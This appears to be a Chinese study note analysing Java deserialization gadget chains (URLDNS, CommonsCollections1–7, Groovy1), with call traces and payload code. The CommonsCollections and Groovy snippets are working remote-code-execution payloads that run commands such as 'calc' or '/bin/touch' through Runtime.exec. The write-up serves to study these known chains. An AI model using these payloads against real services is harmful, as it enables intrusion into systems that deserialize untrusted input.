Java 反序列化链分析

URLDNS

利用的是java内置类

   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

可以看到是HashMap的重写的readObject出发,

在readObject函数中,它分别反序列化了键和值,然后再putVal

image-20210314010346431

而对于键值的hash函数中,调用了key的hashCode

image-20210314010503954

对于URL对象,它的hashCode方法为

image-20210314010622287

handler是URLStreamHandler的对象,进入它的hashCode方法,就可以看到对前面的key进行了getHostAddress操作,从而出现了dns记录

image-20210314010711472

CommonsCollections1

首先是gadget链

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

collections3 的gadget

在CommonsCollections中有一个可以代码执行的调用链,从LazyMap.get开始

当这个map在get一个key时,key不存在就会进入factory.transform(key)

image-20210317012843756

factory是实现了Transformer接口得类

image-20210317013152499

其中 ChainedTransformer, ConstantTransformer, InvokerTransformer对我们有用

org.apache.commons.collections.functors.ChainedTransformer, 可以看到ChainedTransformer的transform方法就是将this.iTransformers中所有的对象执行一遍transform,并且前面的返回值作为后面的输入。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer 的作用是不管输入, 直接返回一个常量.

最后是org.apache.commons.collections.functors.InvokerTransformer, 这里有反射操作

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

所以我们现在看下payload,我们将factory设置为ChainedTransformer对象,其中它的iTransformers熟悉分别为下面的内容

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(java.lang.Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/tmp/xxxx"}}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第一个transfer是用来直接返回java.lang.Runtime.class对象,第二个利用java.lang.Runtime.class对象,先取得class对象执行getMethod获得getMethod方法,最后调用该方法获得java.lang.Runtime的getRuntime方法,第三个同理先取得method对象执行getMethod获得invoke方法,最后调用该方法执行了getRuntime方法获得runtime实例。第四个先取得Rumtime类对象执行getMethod获取Runtime的exec方法,然后对该对象调用该方法实现rce。

这时调用 chainedTransformer.transform, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/tmp/xxxx"}), 将 chainedTransformer 作为 Lazymapfactory, 再 get 一个不存在的 key, 就能达到 RCE 的目的.

AnnotationInvocationHandler中的gadget

所以我们需要在反序列化时能控制一个可控Lazymap进行get一个不存在的key

这里看 sun.reflect.annotation.AnnotationInvocationHandler 这个类的 invoke 方法,

其进行了get操作

image-20210317014957850

this.memberValues也是可控的

在其readObject方法中, 执行了this.memberValues.entrySet(), 由于是动态代理,所以执行到了invoke方法中。

image-20210317015058942 image-20210319012414638

有个小问题,java8中cc1并不能执行,https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/。

CommonsCollections2

先看gadget链

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

可以看到是从PriorityQueue出发到的InvokerTransformer.transform(),然后进行的任意对象的方法调用。

collections4 的 gadget

先看PriorityQueue的readObject,整体流程如下

image-20210318131634742

CommonsCollections3

是CommonsCollection1和CommonsCollection2的结合

collection3中的gadget

还是collection3中的LazyMap到那个执行transform的gadget,此时我们不利用InvokerTransformer ,而是利用InstantiateTransformer,前者是调用任意对象的任意函数,后者是实例化任意类(构造器仅有一个参数)

image-20210318225347240

内置类TrAXFilter中的gadget

而在内置类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造时会调用newTransformer方法,这就利用cc2中的链

image-20210318225614970

所以剩下的就和cc1和cc2一样,整体链:

image-20210319012642145 image-20210319020946393 image-20210319020534684

CommonsCollections4

和cc2类似,从PriorityQueue的readObject到TemplatesImpl的newTransformer,区别是将 InvokerTransformer 替换为 InstantiateTransformer

CommonsCollections5

gadget, collections3

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

这条链是在cc1的基础上的,换了一个到LazyMap.get的方法。

image-20210319113900158

CommonsCollections6

gadget, collections3

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

可以看到,和cc5的区别是如何调用到TiedMapEntry的getValue

image-20210319115726182

payload:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(java.lang.Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

String lm = "org.apache.commons.collections.map.LazyMap";
Constructor c1 = Class.forName(lm).getDeclaredConstructor(Map.class, Transformer.class);
c1.setAccessible(true);
Map lmo = (Map) c1.newInstance(new HashMap<String, String>(), chainedTransformer);

TiedMapEntry te = new TiedMapEntry(lmo, 1);

HashSet s = new HashSet();
s.add(te);

return s;

CommonsCollections7

gadget, collections3

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

看调用链后面还是走的LazyMap.get链。触发点利用的是HashTable/HashMap在readObject反序列化时需要重建哈希表,对key进行哈希摘要。当哈希值相同时调用key对象的equals判断其是否是同一个key,如果相同就替换值内容,key不同就用链表链接这两个键值对从而解决哈希冲突问题。

而我们就是在这里调用的LazyMap.equals后续调用了LazyMap.get。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(java.lang.Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap innerMap1 = new HashMap<String, String>();
HashMap innerMap2 = new HashMap<String, String>();

LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", "1");
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", "1");

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

innerMap2.remove("yy"); 

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
field.setAccessible(true);
field.set(chainedTransformer, transformers);

LazyMap的哈希值的构建方法是对它map属性的hash,将所有键值对hash加在一起,具体方法如下。

image-20210709150529939

已知innerMap1和innerMap2的hash值相同, 所以在执行hashtable.put(lazyMap2, "test");时就已经哈希冲突,所以会将yy加入LazyMap.map中,所以payload中需要remove掉。

image-20210709152719919

Groovy1

groovy<=2.4.3

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                Comparator.compare() (Proxy)
                    ConvertedClosure.invoke()
                        MethodClosure.call()
                            ...
                                Method.invoke()
                                    Runtime.exec()

先看payload:

ConvertedClosure closureInvo = new ConvertedClosure(new MethodClosure("calc", "execute"), "enterSet");
Map m = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, closureInvo);

String ann = "sun.reflect.annotation.AnnotationInvocationHandler";
Class annObject =  Class.forName(ann);

Constructor constructor = annObject.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler in = (InvocationHandler) constructor.newInstance(Deprecated.class, m);

byte[] b = serialize(in);
deserialize(b);

payload不是很复杂,可以看到触发类是AnnotationInvocationHandler类,下面详细的介绍了链的走向。

image-20210706194726042

((Closure)this.getDelegate()).call(args)之后可以参考这篇文章, 最后执行到了ProcessGroovyMethods的execute方法。

其中invokeCustom中限制了this.methodName.equals(method.getName()), 所以ConvertedClosure的第二个参数必须等于触发动态代理时调用的方法名,也就是entrySet。